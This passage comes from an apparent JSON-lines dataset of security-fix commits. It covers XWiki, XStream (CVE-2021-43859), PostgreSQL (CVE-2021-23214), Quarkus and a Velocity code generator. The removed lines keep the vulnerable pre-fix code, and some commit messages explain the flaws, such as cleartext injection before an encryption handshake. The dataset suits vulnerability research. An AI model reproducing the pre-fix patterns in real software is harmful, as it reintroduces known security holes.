"session/src/main/java/io/micronaut/session/binder/SessionArgumentBinder.java", "commit_id": "b8ec32c311689667c69ae7d9f9c3b3a8abc96fe3", "commit_message": "Use ConversionContext constants where possible instead of class (#2356)\n\nChanges\r\n-------\r\n * Added ArgumentConversionContext constants in ConversionContext\r\n * Replaced Argument.of and use of argument classes with\r\nConversionContext constants where possible\r\n * Added getFirst method in ConvertibleMultiValues that accepts\r\nArgumentConversionContent parameter\r\n\r\nPartially addresses issue #2355", "patch": "@@ -42,6 +42,8 @@\n @Requires(classes = HttpServerConfiguration.class)\n public class SessionArgumentBinder implements TypedRequestArgumentBinder {\n \n+ private static final Argument TYPE = Argument.of(Session.class);\n+\n private final SessionStore sessionStore;\n \n /**\n@@ -55,7 +57,7 @@ public SessionArgumentBinder(SessionStore sessionStore) {\n \n @Override\n public Argument argumentType() {\n- return Argument.of(Session.class);\n+ return TYPE;\n }\n \n @Override", "sections": [{"section": "@@ -42,6 +42,8 @@\n @Requires(classes = HttpServerConfiguration.class)\n public class SessionArgumentBinder implements TypedRequestArgumentBinder {\n \n+ private static final Argument TYPE = Argument.of(Session.class);\n+\n private final SessionStore sessionStore;\n \n /**\n", "related": false}, {"section": "@@ -55,7 +57,7 @@ public SessionArgumentBinder(SessionStore sessionStore) {\n \n @Override\n public Argument argumentType() {\n- return Argument.of(Session.class);\n+ return TYPE;\n }\n \n @Override", "related": false}]} +{"owner": "xwiki", "repo": "xwiki-platform", "language": "Java", "file_name": "xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xwiki/XWiki.java", "commit_id": "df8bd49b5a4d87a427002c6535fb5b1746ff117a", "commit_message": "XWIKI-18870: Unexpected behavior of XWiki#invokeServletAndReturnAsString", "patch": "@@ -66,8 +66,6 @@\n import javax.naming.NamingException;\n import javax.script.ScriptContext;\n import javax.servlet.http.Cookie;\n-import javax.servlet.http.HttpServletRequest;\n-import javax.servlet.http.HttpServletResponse;\n \n import org.apache.commons.httpclient.Credentials;\n import org.apache.commons.httpclient.HttpClient;\n@@ -265,7 +263,6 @@\n import com.xpn.xwiki.web.XWikiURLFactory;\n import com.xpn.xwiki.web.XWikiURLFactoryService;\n import com.xpn.xwiki.web.XWikiURLFactoryServiceImpl;\n-import com.xpn.xwiki.web.includeservletasstring.IncludeServletAsString;\n \n @Serializable(false)\n public class XWiki implements EventListener\n@@ -2578,25 +2575,6 @@ public String renderTemplate(String template, XWikiContext context)\n }\n }\n \n- /**\n- * Designed to include dynamic content, such as Servlets or JSPs, inside Velocity templates; works by creating a\n- * RequestDispatcher, buffering the output, then returning it as a string.\n- */\n- public String invokeServletAndReturnAsString(String url, XWikiContext xwikiContext)\n- {\n-\n- HttpServletRequest servletRequest = xwikiContext.getRequest();\n- HttpServletResponse servletResponse = xwikiContext.getResponse();\n-\n- try {\n- return IncludeServletAsString.invokeServletAndReturnAsString(url, servletRequest, servletResponse);\n- } catch (Exception e) {\n- LOGGER.warn(\"Exception including url: \" + url, e);\n- return \"Exception including \\\"\" + url + \"\\\", see logs for details.\";\n- }\n-\n- }\n-\n /**\n * @param iconName the standard name of an icon (it's not the name of the file on the filesystem, it's a generic\n * name, for example \"success\" for a success icon", "sections": [{"section": "@@ -66,8 +66,6 @@\n import javax.naming.NamingException;\n import javax.script.ScriptContext;\n import javax.servlet.http.Cookie;\n-import javax.servlet.http.HttpServletRequest;\n-import javax.servlet.http.HttpServletResponse;\n \n import org.apache.commons.httpclient.Credentials;\n import org.apache.commons.httpclient.HttpClient;\n", "related": false}, {"section": "@@ -265,7 +263,6 @@\n import com.xpn.xwiki.web.XWikiURLFactory;\n import com.xpn.xwiki.web.XWikiURLFactoryService;\n import com.xpn.xwiki.web.XWikiURLFactoryServiceImpl;\n-import com.xpn.xwiki.web.includeservletasstring.IncludeServletAsString;\n \n @Serializable(false)\n public class XWiki implements EventListener\n", "related": false}, {"section": "@@ -2578,25 +2575,6 @@ public String renderTemplate(String template, XWikiContext context)\n }\n }\n \n- /**\n- * Designed to include dynamic content, such as Servlets or JSPs, inside Velocity templates; works by creating a\n- * RequestDispatcher, buffering the output, then returning it as a string.\n- */\n- public String invokeServletAndReturnAsString(String url, XWikiContext xwikiContext)\n- {\n-\n- HttpServletRequest servletRequest = xwikiContext.getRequest();\n- HttpServletResponse servletResponse = xwikiContext.getResponse();\n-\n- try {\n- return IncludeServletAsString.invokeServletAndReturnAsString(url, servletRequest, servletResponse);\n- } catch (Exception e) {\n- LOGGER.warn(\"Exception including url: \" + url, e);\n- return \"Exception including \\\"\" + url + \"\\\", see logs for details.\";\n- }\n-\n- }\n-\n /**\n * @param iconName the standard name of an icon (it's not the name of the file on the filesystem, it's a generic\n * name, for example \"success\" for a success icon", "related": false}]} +{"owner": "xwiki", "repo": "xwiki-platform", "language": "Java", "file_name": "xwiki-platform-core/xwiki-platform-security/xwiki-platform-security-authentication/xwiki-platform-security-authentication-script/src/test/java/org/xwiki/security/authentication/script/AuthenticationScriptServiceTest.java", "commit_id": "d8a3cce48e0ac1a0f4a3cea7a19747382d9c9494", "commit_message": "XWIKI-18787: Authentication API does not return proper results (#1651)\n\n * Refactor a bit the Authentication API to be more sound\r\n * Fix related tests\r\n * Fix missing escape", "patch": "@@ -195,9 +195,8 @@ void requestResetPassword() throws Exception\n ResetPasswordRequestResponse requestResponse = mock(ResetPasswordRequestResponse.class);\n when(this.resetPasswordManager.requestResetPassword(userReference)).thenReturn(requestResponse);\n InternetAddress userEmail = new InternetAddress(\"acme@xwiki.org\");\n- when(requestResponse.getUserEmail()).thenReturn(userEmail);\n \n- assertEquals(userEmail, this.scriptService.requestResetPassword(userReference));\n+ this.scriptService.requestResetPassword(userReference);\n verify(this.resetPasswordManager).sendResetPasswordEmailRequest(requestResponse);\n }\n \n@@ -206,7 +205,7 @@ void requestResetPasswordWithoutPR() throws Exception\n {\n when(this.authorizationManager.hasAccess(Right.PROGRAM)).thenReturn(false);\n \n- assertNull(this.scriptService.requestResetPassword(mock(UserReference.class)));\n+ this.scriptService.requestResetPassword(mock(UserReference.class));\n verify(this.resetPasswordManager, never()).requestResetPassword(any());\n verify(this.resetPasswordManager, never()).sendResetPasswordEmailRequest(any());\n }", "sections": [{"section": "@@ -195,9 +195,8 @@ void requestResetPassword() throws Exception\n ResetPasswordRequestResponse requestResponse = mock(ResetPasswordRequestResponse.class);\n when(this.resetPasswordManager.requestResetPassword(userReference)).thenReturn(requestResponse);\n InternetAddress userEmail = new InternetAddress(\"acme@xwiki.org\");\n- when(requestResponse.getUserEmail()).thenReturn(userEmail);\n \n- assertEquals(userEmail, this.scriptService.requestResetPassword(userReference));\n+ this.scriptService.requestResetPassword(userReference);\n verify(this.resetPasswordManager).sendResetPasswordEmailRequest(requestResponse);\n }\n \n", "related": false}, {"section": "@@ -206,7 +205,7 @@ void requestResetPasswordWithoutPR() throws Exception\n {\n when(this.authorizationManager.hasAccess(Right.PROGRAM)).thenReturn(false);\n \n- assertNull(this.scriptService.requestResetPassword(mock(UserReference.class)));\n+ this.scriptService.requestResetPassword(mock(UserReference.class));\n verify(this.resetPasswordManager, never()).requestResetPassword(any());\n verify(this.resetPasswordManager, never()).sendResetPasswordEmailRequest(any());\n }", "related": false}]} +{"owner": "xwiki", "repo": "xwiki-platform", "language": "Java", "file_name": "xwiki-platform-core/xwiki-platform-url/xwiki-platform-url-default/src/test/java/org/xwiki/url/internal/RelativeExtendedURLTest.java", "commit_id": "5251c02080466bf9fb55288f04a37671108f8096", "commit_message": "XWIKI-10309: Check URL domains based on a whitelist (#1592)\n\nIntroduce a new property for listing the trusted domains and API to\r\ncheck an URL against that list and the aliases used in subwikis.\r\n\r\n * Add new property url.trustedDomains in xwiki.properties\r\n * Add new API in URLConfiguration to retrieve this configuration value\r\n * Create a new URLSecurityManager responsible to check if an URL can\r\n be trusted based on this property and on the subwikis configurations\r\n * Introduce a new listener to invalidate the cache of\r\n URLSecurityManager whenever a XWikiServerClass xobject is\r\nadded/updated/deleted\r\n * Move URL API implementations to URL default module\r\n * Add a new property url.enableTrustedDomains as a global switch off the\r\n checks on domains to avoid breaking behaviours on existing instances\r\n * Add a constant property in URLSecurityManager to be set in\r\n ExecutionContext to allow temporary switch off the check for\r\nextensions\r\n * Use both those switches in DefaultURLSecurityManager to prevent\r\n performing the check when needed", "patch": "@@ -17,7 +17,7 @@\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n */\n-package org.xwiki.url;\n+package org.xwiki.url.internal;\n \n import java.util.Arrays;\n ", "sections": [{"section": "@@ -17,7 +17,7 @@\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n */\n-package org.xwiki.url;\n+package org.xwiki.url.internal;\n \n import java.util.Arrays;\n ", "related": false}]} +{"owner": "xwiki", "repo": "xwiki-platform", "language": "Java", "file_name": "xwiki-platform-core/xwiki-platform-oldcore/src/main/java/com/xpn/xwiki/web/CreateAction.java", "commit_id": "b35ef0edd4f2ff2c974cbeef6b80fcf9b5a44554", "commit_message": "XWIKI-18430: Wrong handling of template documents\n* improve retro compatibility with future 12.10.x versions", "patch": "@@ -32,7 +32,6 @@\n import org.xwiki.component.annotation.Component;\n import org.xwiki.csrf.CSRFToken;\n import org.xwiki.model.reference.DocumentReference;\n-import org.xwiki.model.reference.DocumentReferenceResolver;\n import org.xwiki.model.reference.EntityReferenceSerializer;\n import org.xwiki.model.reference.SpaceReference;\n import org.xwiki.security.authorization.ContextualAuthorizationManager;\n@@ -97,11 +96,6 @@ public class CreateAction extends XWikiAction\n */\n private static final String LOCAL_SERIALIZER_HINT = \"local\";\n \n- /**\n- * Current entity reference resolver hint.\n- */\n- private static final String CURRENT_MIXED_RESOLVER_HINT = \"currentmixed\";\n-\n /**\n * The action to perform when creating a new page from a template.\n *\n@@ -277,14 +271,6 @@ private void doCreate(XWikiContext context, XWikiDocument newDocument, boolean i\n }\n }\n \n- /**\n- * @return the resolver uses to resolve references received in request parameters\n- */\n- private DocumentReferenceResolver getCurrentMixedDocumentReferenceResolver()\n- {\n- return Utils.getComponent(DocumentReferenceResolver.TYPE_STRING, CURRENT_MIXED_RESOLVER_HINT);\n- }\n-\n /**\n * Initialize and save the new document before editing it. Follow the steps done by the Save action.\n * \n@@ -312,7 +298,7 @@ private void initAndSaveDocument(XWikiContext context, XWikiDocument newDocument\n \n // Set the parent field.\n if (!StringUtils.isEmpty(parent)) {\n- DocumentReference parentReference = this.currentmixedReferenceResolver.resolve(parent);\n+ DocumentReference parentReference = getCurrentMixedDocumentReferenceResolver().resolve(parent);\n newDocument.setParentReference(parentReference);\n }\n ", "sections": [{"section": "@@ -32,7 +32,6 @@\n import org.xwiki.component.annotation.Component;\n import org.xwiki.csrf.CSRFToken;\n import org.xwiki.model.reference.DocumentReference;\n-import org.xwiki.model.reference.DocumentReferenceResolver;\n import org.xwiki.model.reference.EntityReferenceSerializer;\n import org.xwiki.model.reference.SpaceReference;\n import org.xwiki.security.authorization.ContextualAuthorizationManager;\n", "related": false}, {"section": "@@ -97,11 +96,6 @@ public class CreateAction extends XWikiAction\n */\n private static final String LOCAL_SERIALIZER_HINT = \"local\";\n \n- /**\n- * Current entity reference resolver hint.\n- */\n- private static final String CURRENT_MIXED_RESOLVER_HINT = \"currentmixed\";\n-\n /**\n * The action to perform when creating a new page from a template.\n *\n", "related": false}, {"section": "@@ -277,14 +271,6 @@ private void doCreate(XWikiContext context, XWikiDocument newDocument, boolean i\n }\n }\n \n- /**\n- * @return the resolver uses to resolve references received in request parameters\n- */\n- private DocumentReferenceResolver getCurrentMixedDocumentReferenceResolver()\n- {\n- return Utils.getComponent(DocumentReferenceResolver.TYPE_STRING, CURRENT_MIXED_RESOLVER_HINT);\n- }\n-\n /**\n * Initialize and save the new document before editing it. Follow the steps done by the Save action.\n * \n", "related": false}, {"section": "@@ -312,7 +298,7 @@ private void initAndSaveDocument(XWikiContext context, XWikiDocument newDocument\n \n // Set the parent field.\n if (!StringUtils.isEmpty(parent)) {\n- DocumentReference parentReference = this.currentmixedReferenceResolver.resolve(parent);\n+ DocumentReference parentReference = getCurrentMixedDocumentReferenceResolver().resolve(parent);\n newDocument.setParentReference(parentReference);\n }\n ", "related": false}]} +{"owner": "apache", "repo": "gobblin", "language": "Java", "file_name": "gobblin-utility/src/main/java/org/apache/gobblin/util/hadoop/TokenUtils.java", "commit_id": "e9b7eac6d468592b7cb6f0b3ea27a88ba7763ab7", "commit_message": "[GOBBLIN-1495] Fix NPE when trying to fetch Hadoop tokens for cluster with no remote namenodes (#3341)", "patch": "@@ -188,7 +188,11 @@ public static void getHadoopTokens(final State state, Optional tokenFile,\n : Optional.fromNullable(state.getProp(USER_TO_PROXY));\n final Configuration conf = new Configuration();\n \n- List remoteFSURIList = state.getPropAsList(OTHER_NAMENODES);\n+ List remoteFSURIList = new ArrayList<>();\n+ if (state.contains(OTHER_NAMENODES)) {\n+ remoteFSURIList = state.getPropAsList(OTHER_NAMENODES);\n+ }\n+\n String renewer = state.getProp(TOKEN_RENEWER);\n log.info(\"Getting tokens for {}, using renewer: {}, including remote FS: {}\", userToProxy, renewer, remoteFSURIList.toString());\n ", "sections": [{"section": "@@ -188,7 +188,11 @@ public static void getHadoopTokens(final State state, Optional tokenFile,\n : Optional.fromNullable(state.getProp(USER_TO_PROXY));\n final Configuration conf = new Configuration();\n \n- List remoteFSURIList = state.getPropAsList(OTHER_NAMENODES);\n+ List remoteFSURIList = new ArrayList<>();\n+ if (state.contains(OTHER_NAMENODES)) {\n+ remoteFSURIList = state.getPropAsList(OTHER_NAMENODES);\n+ }\n+\n String renewer = state.getProp(TOKEN_RENEWER);\n log.info(\"Getting tokens for {}, using renewer: {}, including remote FS: {}\", userToProxy, renewer, remoteFSURIList.toString());\n ", "related": false}]} +{"owner": "x-stream", "repo": "xstream", "language": "Java", "file_name": "xstream/src/java/com/thoughtworks/xstream/XStream.java", "commit_id": "e8e88621ba1c85ac3b8620337dd672e0c0c3a846", "commit_message": "Describe and fix CVE-2021-43859.", "patch": "@@ -151,6 +151,7 @@\n import com.thoughtworks.xstream.mapper.XStream11XmlFriendlyMapper;\n import com.thoughtworks.xstream.security.AnyTypePermission;\n import com.thoughtworks.xstream.security.ArrayTypePermission;\n+import com.thoughtworks.xstream.security.InputManipulationException;\n import com.thoughtworks.xstream.security.ExplicitTypePermission;\n import com.thoughtworks.xstream.security.InterfaceTypePermission;\n import com.thoughtworks.xstream.security.NoPermission;\n@@ -295,6 +296,8 @@ public class XStream {\n \n // CAUTION: The sequence of the fields is intentional for an optimal XML output of a\n // self-serialization!\n+ private int collectionUpdateLimit = 20;\n+\n private ReflectionProvider reflectionProvider;\n private HierarchicalStreamDriver hierarchicalStreamDriver;\n private ClassLoaderReference classLoaderReference;\n@@ -329,6 +332,9 @@ public class XStream {\n public static final int PRIORITY_LOW = -10;\n public static final int PRIORITY_VERY_LOW = -20;\n \n+ public static final String COLLECTION_UPDATE_LIMIT = \"XStreamCollectionUpdateLimit\";\n+ public static final String COLLECTION_UPDATE_SECONDS = \"XStreamCollectionUpdateSeconds\";\n+\n private static final String ANNOTATION_MAPPER_TYPE = \"com.thoughtworks.xstream.mapper.AnnotationMapper\";\n private static final Pattern IGNORE_ALL = Pattern.compile(\".*\");\n \n@@ -1182,6 +1188,23 @@ public void setMarshallingStrategy(MarshallingStrategy marshallingStrategy) {\n this.marshallingStrategy = marshallingStrategy;\n }\n \n+ /**\n+ * Set time limit for adding elements to collections or maps.\n+ * \n+ * Manipulated content may be used to create recursive hash code calculations or sort operations. An\n+ * {@link InputManipulationException} is thrown, it the summed up time to add elements to collections or maps\n+ * exceeds the provided limit.\n+ * \n+ * Note, that the time to add an individual element is calculated in seconds, not milliseconds. However, attacks\n+ * typically use objects with exponential growing calculation times.\n+ * \n+ * @param maxSeconds limit in seconds or 0 to disable check\n+ * @since upcoming\n+ */\n+ public void setCollectionUpdateLimit(int maxSeconds) {\n+ collectionUpdateLimit = maxSeconds;\n+ }\n+\n /**\n * Serialize an object to a pretty-printed XML String.\n *\n@@ -1388,6 +1411,13 @@ public Object unmarshal(HierarchicalStreamReader reader, Object root) {\n */\n public Object unmarshal(HierarchicalStreamReader reader, Object root, DataHolder dataHolder) {\n try {\n+ if (collectionUpdateLimit >= 0) {\n+ if (dataHolder == null) {\n+ dataHolder = new MapBackedDataHolder();\n+ }\n+ dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));\n+ dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));\n+ }\n return marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper);\n } catch (ConversionException e) {\n Package pkg = getClass().getPackage();\n@@ -2053,15 +2083,23 @@ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader\n * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)\n * @since 1.4.10\n */\n- public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, final DataHolder dataHolder)\n+ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, DataHolder dataHolder)\n throws IOException {\n+ if (collectionUpdateLimit >= 0) {\n+ if (dataHolder == null) {\n+ dataHolder = new MapBackedDataHolder();\n+ }\n+ dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));\n+ dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));\n+ }\n+ final DataHolder dh = dataHolder;\n return new CustomObjectInputStream(new CustomObjectInputStream.StreamCallback() {\n public Object readFromStream() throws EOFException {\n if (!reader.hasMoreChildren()) {\n throw new EOFException();\n }\n reader.moveDown();\n- final Object result = unmarshal(reader, null, dataHolder);\n+ final Object result = unmarshal(reader, null, dh);\n reader.moveUp();\n return result;\n }", "sections": [{"section": "@@ -151,6 +151,7 @@\n import com.thoughtworks.xstream.mapper.XStream11XmlFriendlyMapper;\n import com.thoughtworks.xstream.security.AnyTypePermission;\n import com.thoughtworks.xstream.security.ArrayTypePermission;\n+import com.thoughtworks.xstream.security.InputManipulationException;\n import com.thoughtworks.xstream.security.ExplicitTypePermission;\n import com.thoughtworks.xstream.security.InterfaceTypePermission;\n import com.thoughtworks.xstream.security.NoPermission;\n", "related": false}, {"section": "@@ -295,6 +296,8 @@ public class XStream {\n \n // CAUTION: The sequence of the fields is intentional for an optimal XML output of a\n // self-serialization!\n+ private int collectionUpdateLimit = 20;\n+\n private ReflectionProvider reflectionProvider;\n private HierarchicalStreamDriver hierarchicalStreamDriver;\n private ClassLoaderReference classLoaderReference;\n", "related": false}, {"section": "@@ -329,6 +332,9 @@ public class XStream {\n public static final int PRIORITY_LOW = -10;\n public static final int PRIORITY_VERY_LOW = -20;\n \n+ public static final String COLLECTION_UPDATE_LIMIT = \"XStreamCollectionUpdateLimit\";\n+ public static final String COLLECTION_UPDATE_SECONDS = \"XStreamCollectionUpdateSeconds\";\n+\n private static final String ANNOTATION_MAPPER_TYPE = \"com.thoughtworks.xstream.mapper.AnnotationMapper\";\n private static final Pattern IGNORE_ALL = Pattern.compile(\".*\");\n \n", "related": false}, {"section": "@@ -1182,6 +1188,23 @@ public void setMarshallingStrategy(MarshallingStrategy marshallingStrategy) {\n this.marshallingStrategy = marshallingStrategy;\n }\n \n+ /**\n+ * Set time limit for adding elements to collections or maps.\n+ * \n+ * Manipulated content may be used to create recursive hash code calculations or sort operations. An\n+ * {@link InputManipulationException} is thrown, it the summed up time to add elements to collections or maps\n+ * exceeds the provided limit.\n+ * \n+ * Note, that the time to add an individual element is calculated in seconds, not milliseconds. However, attacks\n+ * typically use objects with exponential growing calculation times.\n+ * \n+ * @param maxSeconds limit in seconds or 0 to disable check\n+ * @since upcoming\n+ */\n+ public void setCollectionUpdateLimit(int maxSeconds) {\n+ collectionUpdateLimit = maxSeconds;\n+ }\n+\n /**\n * Serialize an object to a pretty-printed XML String.\n *\n", "related": false}, {"section": "@@ -1388,6 +1411,13 @@ public Object unmarshal(HierarchicalStreamReader reader, Object root) {\n */\n public Object unmarshal(HierarchicalStreamReader reader, Object root, DataHolder dataHolder) {\n try {\n+ if (collectionUpdateLimit >= 0) {\n+ if (dataHolder == null) {\n+ dataHolder = new MapBackedDataHolder();\n+ }\n+ dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));\n+ dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));\n+ }\n return marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper);\n } catch (ConversionException e) {\n Package pkg = getClass().getPackage();\n", "related": false}, {"section": "@@ -2053,15 +2083,23 @@ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader\n * @see #createObjectInputStream(com.thoughtworks.xstream.io.HierarchicalStreamReader)\n * @since 1.4.10\n */\n- public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, final DataHolder dataHolder)\n+ public ObjectInputStream createObjectInputStream(final HierarchicalStreamReader reader, DataHolder dataHolder)\n throws IOException {\n+ if (collectionUpdateLimit >= 0) {\n+ if (dataHolder == null) {\n+ dataHolder = new MapBackedDataHolder();\n+ }\n+ dataHolder.put(COLLECTION_UPDATE_LIMIT, new Integer(collectionUpdateLimit));\n+ dataHolder.put(COLLECTION_UPDATE_SECONDS, new Integer(0));\n+ }\n+ final DataHolder dh = dataHolder;\n return new CustomObjectInputStream(new CustomObjectInputStream.StreamCallback() {\n public Object readFromStream() throws EOFException {\n if (!reader.hasMoreChildren()) {\n throw new EOFException();\n }\n reader.moveDown();\n- final Object result = unmarshal(reader, null, dataHolder);\n+ final Object result = unmarshal(reader, null, dh);\n reader.moveUp();\n return result;\n }", "related": false}]} +{"owner": "quarkusio", "repo": "quarkus", "language": "Java", "file_name": "independent-projects/resteasy-reactive/server/vertx/src/main/java/org/jboss/resteasy/reactive/server/vertx/VertxResteasyReactiveRequestContext.java", "commit_id": "96c64fd8f09c02a497e2db366c64dd9196582442", "commit_message": "Use the correct context for RR", "patch": "@@ -60,26 +60,14 @@ public VertxResteasyReactiveRequestContext(Deployment deployment, ProvidersImpl\n this.devModeTccl = devModeTccl;\n context.addHeadersEndHandler(this);\n String expect = request.getHeader(HttpHeaderNames.EXPECT);\n- ContextInternal internal = ((ConnectionBase) context.request().connection()).getContext();\n- if (!vertxContextPropsToCopy.isEmpty()) {\n- ContextInternal current = (ContextInternal) Vertx.currentContext();\n- Map internalLocalContextData = internal.localContextData();\n- Map currentLocalContextData = current.localContextData();\n- for (int i = 0; i < vertxContextPropsToCopy.size(); i++) {\n- String name = vertxContextPropsToCopy.get(i);\n- Object value = currentLocalContextData.get(name);\n- if (value != null) {\n- internalLocalContextData.put(name, value);\n- }\n- }\n- }\n+ ContextInternal current = (ContextInternal) Vertx.currentContext();\n if (expect != null && expect.equalsIgnoreCase(CONTINUE)) {\n continueState = ContinueState.REQUIRED;\n }\n this.contextExecutor = new Executor() {\n @Override\n public void execute(Runnable command) {\n- internal.runOnContext(new Handler() {\n+ current.runOnContext(new Handler() {\n @Override\n public void handle(Void unused) {\n command.run();", "sections": [{"section": "@@ -60,26 +60,14 @@ public VertxResteasyReactiveRequestContext(Deployment deployment, ProvidersImpl\n this.devModeTccl = devModeTccl;\n context.addHeadersEndHandler(this);\n String expect = request.getHeader(HttpHeaderNames.EXPECT);\n- ContextInternal internal = ((ConnectionBase) context.request().connection()).getContext();\n- if (!vertxContextPropsToCopy.isEmpty()) {\n- ContextInternal current = (ContextInternal) Vertx.currentContext();\n- Map internalLocalContextData = internal.localContextData();\n- Map currentLocalContextData = current.localContextData();\n- for (int i = 0; i < vertxContextPropsToCopy.size(); i++) {\n- String name = vertxContextPropsToCopy.get(i);\n- Object value = currentLocalContextData.get(name);\n- if (value != null) {\n- internalLocalContextData.put(name, value);\n- }\n- }\n- }\n+ ContextInternal current = (ContextInternal) Vertx.currentContext();\n if (expect != null && expect.equalsIgnoreCase(CONTINUE)) {\n continueState = ContinueState.REQUIRED;\n }\n this.contextExecutor = new Executor() {\n @Override\n public void execute(Runnable command) {\n- internal.runOnContext(new Handler() {\n+ current.runOnContext(new Handler() {\n @Override\n public void handle(Void unused) {\n command.run();", "related": false}]} +{"owner": "postgres", "repo": "postgres", "language": "C", "file_name": "src/backend/postmaster/postmaster.c", "commit_id": "28e24125541545483093819efae9bca603441951", "commit_message": "Reject extraneous data after SSL or GSS encryption handshake.\n\nThe server collects up to a bufferload of data whenever it reads data\nfrom the client socket. When SSL or GSS encryption is requested\nduring startup, any additional data received with the initial\nrequest message remained in the buffer, and would be treated as\nalready-decrypted data once the encryption handshake completed.\nThus, a man-in-the-middle with the ability to inject data into the\nTCP connection could stuff some cleartext data into the start of\na supposedly encryption-protected database session.\n\nThis could be abused to send faked SQL commands to the server,\nalthough that would only work if the server did not demand any\nauthentication data. (However, a server relying on SSL certificate\nauthentication might well not do so.)\n\nTo fix, throw a protocol-violation error if the internal buffer\nis not empty after the encryption handshake.\n\nOur thanks to Jacob Champion for reporting this problem.\n\nSecurity: CVE-2021-23214", "patch": "@@ -2110,6 +2110,18 @@ ProcessStartupPacket(Port *port, bool ssl_done, bool gss_done)\n \t\t\treturn STATUS_ERROR;\n #endif\n \n+\t\t/*\n+\t\t * At this point we should have no data already buffered. If we do,\n+\t\t * it was received before we performed the SSL handshake, so it wasn't\n+\t\t * encrypted and indeed may have been injected by a man-in-the-middle.\n+\t\t * We report this case to the client.\n+\t\t */\n+\t\tif (pq_buffer_has_data())\n+\t\t\tereport(FATAL,\n+\t\t\t\t\t(errcode(ERRCODE_PROTOCOL_VIOLATION),\n+\t\t\t\t\t errmsg(\"received unencrypted data after SSL request\"),\n+\t\t\t\t\t errdetail(\"This could be either a client-software bug or evidence of an attempted man-in-the-middle attack.\")));\n+\n \t\t/*\n \t\t * regular startup packet, cancel, etc packet should follow, but not\n \t\t * another SSL negotiation request, and a GSS request should only\n@@ -2142,6 +2154,18 @@ ProcessStartupPacket(Port *port, bool ssl_done, bool gss_done)\n \t\t\treturn STATUS_ERROR;\n #endif\n \n+\t\t/*\n+\t\t * At this point we should have no data already buffered. If we do,\n+\t\t * it was received before we performed the GSS handshake, so it wasn't\n+\t\t * encrypted and indeed may have been injected by a man-in-the-middle.\n+\t\t * We report this case to the client.\n+\t\t */\n+\t\tif (pq_buffer_has_data())\n+\t\t\tereport(FATAL,\n+\t\t\t\t\t(errcode(ERRCODE_PROTOCOL_VIOLATION),\n+\t\t\t\t\t errmsg(\"received unencrypted data after GSSAPI encryption request\"),\n+\t\t\t\t\t errdetail(\"This could be either a client-software bug or evidence of an attempted man-in-the-middle attack.\")));\n+\n \t\t/*\n \t\t * regular startup packet, cancel, etc packet should follow, but not\n \t\t * another GSS negotiation request, and an SSL request should only", "sections": [{"section": "@@ -2110,6 +2110,18 @@ ProcessStartupPacket(Port *port, bool ssl_done, bool gss_done)\n \t\t\treturn STATUS_ERROR;\n #endif\n \n+\t\t/*\n+\t\t * At this point we should have no data already buffered. If we do,\n+\t\t * it was received before we performed the SSL handshake, so it wasn't\n+\t\t * encrypted and indeed may have been injected by a man-in-the-middle.\n+\t\t * We report this case to the client.\n+\t\t */\n+\t\tif (pq_buffer_has_data())\n+\t\t\tereport(FATAL,\n+\t\t\t\t\t(errcode(ERRCODE_PROTOCOL_VIOLATION),\n+\t\t\t\t\t errmsg(\"received unencrypted data after SSL request\"),\n+\t\t\t\t\t errdetail(\"This could be either a client-software bug or evidence of an attempted man-in-the-middle attack.\")));\n+\n \t\t/*\n \t\t * regular startup packet, cancel, etc packet should follow, but not\n \t\t * another SSL negotiation request, and a GSS request should only\n", "related": false}, {"section": "@@ -2142,6 +2154,18 @@ ProcessStartupPacket(Port *port, bool ssl_done, bool gss_done)\n \t\t\treturn STATUS_ERROR;\n #endif\n \n+\t\t/*\n+\t\t * At this point we should have no data already buffered. If we do,\n+\t\t * it was received before we performed the GSS handshake, so it wasn't\n+\t\t * encrypted and indeed may have been injected by a man-in-the-middle.\n+\t\t * We report this case to the client.\n+\t\t */\n+\t\tif (pq_buffer_has_data())\n+\t\t\tereport(FATAL,\n+\t\t\t\t\t(errcode(ERRCODE_PROTOCOL_VIOLATION),\n+\t\t\t\t\t errmsg(\"received unencrypted data after GSSAPI encryption request\"),\n+\t\t\t\t\t errdetail(\"This could be either a client-software bug or evidence of an attempted man-in-the-middle attack.\")));\n+\n \t\t/*\n \t\t * regular startup packet, cancel, etc packet should follow, but not\n \t\t * another GSS negotiation request, and an SSL request should only", "related": false}]} +{"owner": "ballcat-projects", "repo": "ballcat-codegen", "language": "Java", "file_name": "ballcat-codegen-backend/src/main/java/com/hccake/ballcat/codegen/engine/VelocityTemplateEngine.java", "commit_id": "84a7cb38daf0295b93aba21d562ec627e4eb463b", "commit_message": ":lock: 修改模板引擎的默认安全策略,以防止RCE", "patch": "@@ -4,6 +4,7 @@\n import org.apache.velocity.VelocityContext;\n import org.apache.velocity.app.Velocity;\n import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;\n+import org.apache.velocity.util.introspection.SecureUberspector;\n import org.springframework.stereotype.Component;\n \n import java.io.StringWriter;\n@@ -22,6 +23,8 @@ public class VelocityTemplateEngine implements TemplateEngine {\n \t\t// 设置velocity资源加载器, 保留文件加载loader\n \t\tProperties prop = new Properties();\n \t\tprop.put(\"file.resource.loader.class\", ClasspathResourceLoader.class.getName());\n+\t\t// 安全处理\n+\t\tprop.put(\"runtime.introspector.uberspect\", SecureUberspector.class.getName());\n \t\tVelocity.init(prop);\n \t}\n \n@@ -31,7 +34,7 @@ public TemplateEngineTypeEnum type() {\n \t}\n \n \t@Override\n-\tpublic String 